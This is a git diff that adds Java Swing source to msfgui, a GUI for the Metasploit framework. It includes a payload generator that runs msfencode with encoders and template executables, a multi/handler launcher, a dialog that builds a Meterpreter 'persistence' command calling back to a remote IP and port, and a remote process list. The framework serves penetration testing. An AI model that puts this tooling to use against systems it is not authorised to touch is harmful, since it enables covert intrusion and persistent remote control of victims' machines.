+ outputPathLabel.setName("outputPathLabel"); // NOI18N + + outputPathField.setText(resourceMap.getString("outputPathField.text")); // NOI18N + outputPathField.setName("outputPathField"); // NOI18N + + choosePathButton.setText(resourceMap.getString("choosePathButton.text")); // NOI18N + choosePathButton.setName("choosePathButton"); // NOI18N + choosePathButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + choosePathButtonActionPerformed(evt); + } + }); + + templateLabel.setText(resourceMap.getString("templateLabel.text")); // NOI18N + templateLabel.setName("templateLabel"); // NOI18N + + templateField.setName("templateField"); // NOI18N + + handleButton.setText(resourceMap.getString("handleButton.text")); // NOI18N + handleButton.setName("handleButton"); // NOI18N + handleButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + handleButtonActionPerformed(evt); + } + }); + + javax.swing.GroupLayout mainPanelLayout = new javax.swing.GroupLayout(mainPanel); + mainPanel.setLayout(mainPanelLayout); + mainPanelLayout.setHorizontalGroup( + mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(mainPanelLayout.createSequentialGroup() + .addContainerGap() + .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(mainPanelLayout.createSequentialGroup() + .addComponent(outputScrollPane, javax.swing.GroupLayout.DEFAULT_SIZE, 1026, Short.MAX_VALUE) + .addContainerGap()) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, mainPanelLayout.createSequentialGroup() + .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addComponent(titleLabel, javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(descriptionLabel, javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(authorsLabel, javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(licenseLabel, javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(versionLabel, javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.LEADING, mainPanelLayout.createSequentialGroup() + .addComponent(generateButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(displayButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(saveButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(handleButton)) + .addGroup(mainPanelLayout.createSequentialGroup() + .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) + .addComponent(encoderLabel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(outputLabel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(timesLabel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(outputPathLabel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + .addComponent(templateLabel) + .addComponent(archLabel, javax.swing.GroupLayout.PREFERRED_SIZE, 177, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addGroup(mainPanelLayout.createSequentialGroup() + .addComponent(templateField, javax.swing.GroupLayout.DEFAULT_SIZE, 218, Short.MAX_VALUE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(templateButton, javax.swing.GroupLayout.PREFERRED_SIZE, 87, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addComponent(archField, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, 311, Short.MAX_VALUE) + .addComponent(timesField, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, 311, Short.MAX_VALUE) + .addComponent(outputCombo, javax.swing.GroupLayout.Alignment.LEADING, 0, 311, Short.MAX_VALUE) + .addComponent(encoderCombo, javax.swing.GroupLayout.Alignment.LEADING, 0, 311, Short.MAX_VALUE) + .addGroup(javax.swing.GroupLayout.Alignment.LEADING, mainPanelLayout.createSequentialGroup() + .addComponent(outputPathField, javax.swing.GroupLayout.PREFERRED_SIZE, 213, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(choosePathButton, javax.swing.GroupLayout.PREFERRED_SIZE, 91, javax.swing.GroupLayout.PREFERRED_SIZE))) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(templateWorkingCheck) + .addGap(154, 154, 154))) + .addGap(195, 195, 195)))) + ); + mainPanelLayout.setVerticalGroup( + mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(mainPanelLayout.createSequentialGroup() + .addContainerGap() + .addComponent(titleLabel) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(descriptionLabel) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(authorsLabel) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(licenseLabel) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(versionLabel) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(generateButton) + .addComponent(displayButton) + .addComponent(saveButton) + .addComponent(handleButton)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(outputScrollPane, javax.swing.GroupLayout.DEFAULT_SIZE, 374, Short.MAX_VALUE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(outputPathLabel) + .addComponent(outputPathField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(choosePathButton)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(encoderLabel) + .addComponent(encoderCombo, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(outputLabel) + .addComponent(outputCombo, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(timesLabel) + .addComponent(timesField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(archLabel) + .addComponent(archField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(templateLabel) + .addComponent(templateField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(templateButton) + .addComponent(templateWorkingCheck)) + .addContainerGap()) + ); + + jScrollPane1.setViewportView(mainPanel); + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); + getContentPane().setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jScrollPane1, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, 922, Short.MAX_VALUE) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 752, Short.MAX_VALUE) + ); + + pack(); + }// //GEN-END:initComponents + + private void generateButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_generateButtonActionPerformed + try { + Map options = new HashMap(); + for(Object obj : elementVector){ + String name = ((JLabel)((Component[])obj)[0]).getName(); + String val = ((JTextField)((Component[])obj)[1]).getText(); + if(val.length() > 0) + options.put(name, val); + } + Map data = (Map) rpcConn.execute("module.execute", new Object[]{"payload", fullName,options}); + //Basic info + if(!data.get("result").equals("success")) + return; + String rawHex = data.get("payload").toString(); + + if(saveButton.isSelected()){ //Encode and output + byte[] buffer = new byte[rawHex.length() / 2]; + for (int i = 0; i < rawHex.length(); i += 2) + buffer[i/2] = (byte)Integer.parseInt(rawHex.substring(i, i + 2),16); + File tmpFile = File.createTempFile("msftmp",".raw"); + String path = tmpFile.getAbsolutePath(); + FileOutputStream fout = new FileOutputStream(tmpFile); + fout.write(buffer); + fout.close(); + + ArrayList commandBuilder = new ArrayList(); + commandBuilder.add("msfencode"); + commandBuilder.add("-o"); + commandBuilder.add(outputPathField.getText()); + commandBuilder.add("-e"); + commandBuilder.add(encoderCombo.getSelectedItem()); + commandBuilder.add("-t"); + commandBuilder.add(outputCombo.getSelectedItem()); + commandBuilder.add("-i"); + commandBuilder.add(path); + if(timesField.getText().length() > 0){ + commandBuilder.add("-c"); + commandBuilder.add(timesField.getText()); + } + if(archField.getText().length() > 0){ + commandBuilder.add("-a"); + commandBuilder.add(archField.getText()); + } + if(templateField.getText().length() > 0){ + commandBuilder.add("-x"); + commandBuilder.add(templateField.getText()); + if(templateWorkingCheck.isSelected()) + commandBuilder.add("-k"); + } + new ProcessWindow(MsfguiApp.startMsfProc(commandBuilder)).setVisible(true); + return; + } + + + outputPane.setText("Payload "+fullName+" "+options+" "+(rawHex.length()/2)+" bytes."); + boolean isPlain = true; + StringBuilder plain = new StringBuilder(""); + for(int i = 0; i < rawHex.length(); i += 2){ + int chint = Integer.parseInt(rawHex.substring(i,i+2),16); + if (!Character.isISOControl(chint))// or check isLetterOrDigit isWhitespace or " , . (){}-_+=<>.,?/'"; etc. + plain.append((char)chint); + else + isPlain = false; + } + if(isPlain) + outputPane.append("\n\nplain text\n"+plain); + StringBuilder rubyHex = new StringBuilder("\""); + for(int i = 0; i < rawHex.length(); i += 20){ + for(int j = 0; j < 20 && i + j + 2 <= rawHex.length(); j += 2){ + rubyHex.append("\\x"); + rubyHex.append(rawHex.substring(i + j, i + j + 2)); + } + rubyHex.append("\""); + if(i + 20 < rawHex.length()) + rubyHex.append("+\n\""); + } + outputPane.append("\n\nruby\n"+rubyHex); + } catch (MsfException ex) { + JOptionPane.showMessageDialog(this, ex); + } catch (IOException ex) { + JOptionPane.showMessageDialog(this, ex); + } + }//GEN-LAST:event_generateButtonActionPerformed + + private void saveButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_saveButtonActionPerformed + resetLayout(); + }//GEN-LAST:event_saveButtonActionPerformed + + private void displayButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_displayButtonActionPerformed + resetLayout(); + }//GEN-LAST:event_displayButtonActionPerformed + + private void choosePathButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_choosePathButtonActionPerformed + if(MsfguiApp.fileChooser.showSaveDialog(this) == JFileChooser.APPROVE_OPTION) + outputPathField.setText(MsfguiApp.fileChooser.getSelectedFile().getAbsolutePath()); + }//GEN-LAST:event_choosePathButtonActionPerformed + + private void templateButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_templateButtonActionPerformed + if(MsfguiApp.fileChooser.showOpenDialog(this) == JFileChooser.APPROVE_OPTION) + templateField.setText(MsfguiApp.fileChooser.getSelectedFile().getAbsolutePath()); + }//GEN-LAST:event_templateButtonActionPerformed + + private void handleButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_handleButtonActionPerformed + Map options = new HashMap(); + for(Object obj : elementVector){ + String name = ((JLabel)((Component[])obj)[0]).getName(); + String val = ((JTextField)((Component[])obj)[1]).getText(); + if(val.length() > 0) + options.put(name, val); + } + options.put("PAYLOAD",fullName); + options.put("TARGET","0"); + try{ + final Object[] args = new Object[]{"exploit", "multi/handler", options}; + Map data = (Map) rpcConn.execute("module.execute",args); + MsfguiApp.addRecentModule(args, mainFrame.recentMenu, rpcConn); + }catch (MsfException ex){ + JOptionPane.showMessageDialog(this, ex); + } + }//GEN-LAST:event_handleButtonActionPerformed + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JTextField archField; + private javax.swing.JLabel archLabel; + private javax.swing.JLabel authorsLabel; + private javax.swing.ButtonGroup buttonGroup1; + private javax.swing.JButton choosePathButton; + private javax.swing.JLabel descriptionLabel; + private javax.swing.JRadioButton displayButton; + private javax.swing.JComboBox encoderCombo; + private javax.swing.JLabel encoderLabel; + private javax.swing.JButton generateButton; + private javax.swing.JButton handleButton; + private javax.swing.JScrollPane jScrollPane1; + private javax.swing.JLabel licenseLabel; + private javax.swing.JPanel mainPanel; + private javax.swing.JComboBox outputCombo; + private javax.swing.JLabel outputLabel; + private javax.swing.JTextArea outputPane; + private javax.swing.JTextField outputPathField; + private javax.swing.JLabel outputPathLabel; + private javax.swing.JScrollPane outputScrollPane; + private javax.swing.JRadioButton saveButton; + private javax.swing.JButton templateButton; + private javax.swing.JTextField templateField; + private javax.swing.JLabel templateLabel; + private javax.swing.JCheckBox templateWorkingCheck; + private javax.swing.JTextField timesField; + private javax.swing.JLabel timesLabel; + private javax.swing.JLabel titleLabel; + private javax.swing.JLabel versionLabel; + // End of variables declaration//GEN-END:variables + +} diff --git a/external/source/gui/msfguijava/src/msfgui/PersistenceOptionsDialog.form b/external/source/gui/msfguijava/src/msfgui/PersistenceOptionsDialog.form new file mode 100755 index 0000000000..eb5338038e --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/PersistenceOptionsDialog.form @@ -0,0 +1,199 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
diff --git a/external/source/gui/msfguijava/src/msfgui/PersistenceOptionsDialog.java b/external/source/gui/msfguijava/src/msfgui/PersistenceOptionsDialog.java new file mode 100755 index 0000000000..991dd502a7 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/PersistenceOptionsDialog.java @@ -0,0 +1,215 @@ +package msfgui; + +/** + * + * @author scriptjunkie + */ +public class PersistenceOptionsDialog extends OptionsDialog { + + /** Creates new form PersistenceOptionsDialog */ + public PersistenceOptionsDialog(java.awt.Frame parent) { + super(parent,"Enter options for persistence", true); + initComponents(); + ipField.setText(MsfguiApp.getLocalIp()); + } + + /** This method is called from within the constructor to + * initialize the form. + * WARNING: Do NOT modify this code. The content of this method is + * always regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + ipLabel = new javax.swing.JLabel(); + portLabel = new javax.swing.JLabel(); + ipField = new javax.swing.JTextField(); + portField = new javax.swing.JTextField(); + okButton = new javax.swing.JButton(); + jLabel1 = new javax.swing.JLabel(); + cancelButton = new javax.swing.JButton(); + autostartBox = new javax.swing.JCheckBox(); + handlerBox = new javax.swing.JCheckBox(); + intervalField = new javax.swing.JTextField(); + intervalLabel = new javax.swing.JLabel(); + loginRestartBox = new javax.swing.JCheckBox(); + + setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); + + ipLabel.setHorizontalAlignment(javax.swing.SwingConstants.RIGHT); + org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(msfgui.MsfguiApp.class).getContext().getResourceMap(PersistenceOptionsDialog.class); + ipLabel.setText(resourceMap.getString("ipLabel.text")); // NOI18N + ipLabel.setName("ipLabel"); // NOI18N + + portLabel.setHorizontalAlignment(javax.swing.SwingConstants.RIGHT); + portLabel.setText(resourceMap.getString("portLabel.text")); // NOI18N + portLabel.setName("portLabel"); // NOI18N + + ipField.setName("ipField"); // NOI18N + ipField.setPreferredSize(new java.awt.Dimension(50, 27)); + + portField.setText(resourceMap.getString("portField.text")); // NOI18N + portField.setName("portField"); // NOI18N + portField.setPreferredSize(new java.awt.Dimension(50, 27)); + + okButton.setText(resourceMap.getString("okButton.text")); // NOI18N + okButton.setName("okButton"); // NOI18N + okButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + okButtonActionPerformed(evt); + } + }); + + jLabel1.setText(resourceMap.getString("jLabel1.text")); // NOI18N + jLabel1.setName("jLabel1"); // NOI18N + + cancelButton.setText(resourceMap.getString("cancelButton.text")); // NOI18N + cancelButton.setName("cancelButton"); // NOI18N + cancelButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + cancelButtonActionPerformed(evt); + } + }); + + autostartBox.setSelected(true); + autostartBox.setText(resourceMap.getString("autostartBox.text")); // NOI18N + autostartBox.setName("autostartBox"); // NOI18N + autostartBox.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + autostartBoxActionPerformed(evt); + } + }); + + handlerBox.setText(resourceMap.getString("handlerBox.text")); // NOI18N + handlerBox.setName("handlerBox"); // NOI18N + + intervalField.setText(resourceMap.getString("intervalField.text")); // NOI18N + intervalField.setName("intervalField"); // NOI18N + + intervalLabel.setHorizontalAlignment(javax.swing.SwingConstants.RIGHT); + intervalLabel.setText(resourceMap.getString("intervalLabel.text")); // NOI18N + intervalLabel.setName("intervalLabel"); // NOI18N + + loginRestartBox.setText(resourceMap.getString("loginRestartBox.text")); // NOI18N + loginRestartBox.setName("loginRestartBox"); // NOI18N + loginRestartBox.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + loginRestartBoxActionPerformed(evt); + } + }); + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); + getContentPane().setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(44, 44, 44)) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) + .addComponent(intervalLabel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(ipLabel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(portLabel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addComponent(portField, javax.swing.GroupLayout.DEFAULT_SIZE, 338, Short.MAX_VALUE) + .addComponent(ipField, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, 338, Short.MAX_VALUE) + .addComponent(intervalField, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, 338, Short.MAX_VALUE)) + .addContainerGap()) + .addGroup(layout.createSequentialGroup() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false) + .addComponent(handlerBox, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(autostartBox, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(loginRestartBox) + .addContainerGap(177, Short.MAX_VALUE))) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() + .addComponent(cancelButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(okButton) + .addContainerGap()))) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(autostartBox) + .addComponent(loginRestartBox)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(handlerBox) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(ipLabel) + .addComponent(ipField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(portField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(portLabel)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(intervalField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(intervalLabel)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(okButton) + .addComponent(cancelButton)) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + + pack(); + }// //GEN-END:initComponents + + private void okButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_okButtonActionPerformed + StringBuilder cmd = new StringBuilder("persistence "); + if(handlerBox.isSelected()) + cmd.append(" -A "); + if(autostartBox.isSelected()) + cmd.append(" -X "); + if(loginRestartBox.isSelected()) + cmd.append(" -U "); + cmd.append(" -i "+Integer.parseInt(intervalField.getText())); + cmd.append(" -p "+Integer.parseInt(portField.getText())); + cmd.append(" -r "+ipField.getText()); + command = cmd.toString(); + this.setVisible(false); + }//GEN-LAST:event_okButtonActionPerformed + + private void cancelButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_cancelButtonActionPerformed + command = null; + this.setVisible(false); + }//GEN-LAST:event_cancelButtonActionPerformed + + private void autostartBoxActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_autostartBoxActionPerformed + if(autostartBox.isSelected()) + loginRestartBox.setSelected(false); + }//GEN-LAST:event_autostartBoxActionPerformed + + private void loginRestartBoxActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_loginRestartBoxActionPerformed + if(loginRestartBox.isSelected()) + autostartBox.setSelected(false); + }//GEN-LAST:event_loginRestartBoxActionPerformed + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JCheckBox autostartBox; + private javax.swing.JButton cancelButton; + private javax.swing.JCheckBox handlerBox; + private javax.swing.JTextField intervalField; + private javax.swing.JLabel intervalLabel; + private javax.swing.JTextField ipField; + private javax.swing.JLabel ipLabel; + private javax.swing.JLabel jLabel1; + private javax.swing.JCheckBox loginRestartBox; + private javax.swing.JButton okButton; + private javax.swing.JTextField portField; + private javax.swing.JLabel portLabel; + // End of variables declaration//GEN-END:variables + +} diff --git a/external/source/gui/msfguijava/src/msfgui/PopupMouseListener.java b/external/source/gui/msfguijava/src/msfgui/PopupMouseListener.java new file mode 100644 index 0000000000..6980c777b6 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/PopupMouseListener.java @@ -0,0 +1,28 @@ +package msfgui; + +import java.awt.event.MouseAdapter; +import java.awt.event.MouseEvent; +import javax.swing.JOptionPane; + +/** + * + * @author scriptjunkie + */ +public abstract class PopupMouseListener extends MouseAdapter{ + public void mousePressed(MouseEvent e) { + showPopup(e); + } + public void mouseReleased(MouseEvent e) { + showPopup(e); + } + public void mouseClicked(MouseEvent e){ //show interaction window on double-click + try{ + if(e.getClickCount() == 2) + doubleClicked(e); + }catch(MsfException xre){ + JOptionPane.showMessageDialog(null, "action failed " + xre); + } + } + public abstract void doubleClicked (MouseEvent e) throws MsfException; + public abstract void showPopup(MouseEvent e); +} diff --git a/external/source/gui/msfguijava/src/msfgui/ProcessList.form b/external/source/gui/msfguijava/src/msfgui/ProcessList.form new file mode 100755 index 0000000000..6dc3089294 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/ProcessList.form @@ -0,0 +1,116 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+
+
+ + + + + + + + + +
+
diff --git a/external/source/gui/msfguijava/src/msfgui/ProcessList.java b/external/source/gui/msfguijava/src/msfgui/ProcessList.java new file mode 100755 index 0000000000..0d56ff97df --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/ProcessList.java @@ -0,0 +1,231 @@ +package msfgui; + +import java.awt.HeadlessException; +import java.awt.event.ActionEvent; +import java.awt.event.ActionListener; +import java.util.Map; +import java.util.concurrent.locks.ReentrantLock; +import javax.swing.JOptionPane; +import javax.swing.Timer; +import javax.swing.table.DefaultTableModel; + +/** + * + * @author scriptjunkie + */ +public class ProcessList extends MsfFrame { + protected final Map session; + protected final RpcConnection rpcConn; + protected ReentrantLock lock; + protected final DefaultTableModel model; + protected Timer readTimer = null; + + /** Creates new form ProcessList */ + public ProcessList(final RpcConnection rpcConn, final Map session, Map sessionPopupMap) { + super("Meterpreter remote process list"); + initComponents(); + model = new DefaultTableModel(){ + public boolean isCellEditable(int row, int col){ + return false; + } + }; + processTable.setModel(model); + processTable.setShowHorizontalLines(false); + processTable.setShowVerticalLines(false); + this.rpcConn = rpcConn; + this.session = session; + this.lock = ((InteractWindow)sessionPopupMap.get(session.get("uuid"))).lock; + } + + /** Lists the processes that are running */ + protected void listProcs() throws HeadlessException { + try { + rpcConn.execute("session.meterpreter_write", new Object[]{session.get("id"), Base64.encode(("ps\n").getBytes())}); + } catch (Exception ex) { + JOptionPane.showMessageDialog(null, ex); + if (ex.getMessage().equals("unknown session")) + return; + } + readTimer = new Timer(300, new ActionListener() { + public void actionPerformed(ActionEvent e) { + try { + Map received = (Map) rpcConn.execute("session.meterpreter_read", new Object[]{session.get("id")}); + if (!received.get("encoding").equals("base64")) { + JOptionPane.showMessageDialog(null, "uhoh. encoding changed. Time to update msfgui?"); + return; + } + byte[] decodedBytes = Base64.decode(received.get("data").toString()); + if (decodedBytes.length == 0) + return; + String[] lines = new String(decodedBytes).split("\n"); + String headerRow = null; + for (String line : lines) { + line = line.trim(); + if(line.startsWith("PID")){ + headerRow = line; + model.setColumnIdentifiers(line.split("\\s+")); + while(model.getRowCount() > 0) + model.removeRow(0); + } + if (line.length() < 2 || line.charAt(1) < '0' || line.charAt(1) > '9') + continue; + model.addRow(TableHelper.fill(line,headerRow)); + } + readTimer.stop(); + TableHelper.fitColumnWidths(model, processTable); + } catch(NullPointerException nex){ //junk data from previous command? Ignore. + } catch (Exception ex) { + ex.printStackTrace(); + if (ex.getMessage().equals("unknown session")) + 